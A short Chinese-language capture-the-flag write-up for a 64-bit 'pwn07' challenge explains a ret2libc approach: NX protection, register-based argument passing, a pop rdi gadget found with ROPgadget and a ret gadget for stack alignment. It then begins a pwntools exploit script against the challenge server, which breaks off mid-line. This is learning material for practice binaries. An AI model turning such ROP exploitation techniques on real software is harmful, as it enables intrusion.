checksec
64位nx保护思路基本和pwn3是一样的
64位程序是需要栈平衡的
而且64位程序只有在前六个寄存器用完了才会用栈传参
我们可以通过ropgaget来找到我们需要的
为什么要用pop_rdi呢
因为六十四位程序中
%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数。。。
system函数和puts函数都只有一个参数
ret是用来栈平衡的
于是我们可以构造exp:(或者直接套模板改一下就得了)
exp:
from pwn import* from LibcSearcher import LibcSearcher context(arch='amd64',os='linux',log_level='debug') io=remote('pwn.challenge.ctf.show',28081) elf=ELF('./pwn07') puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] pop_rd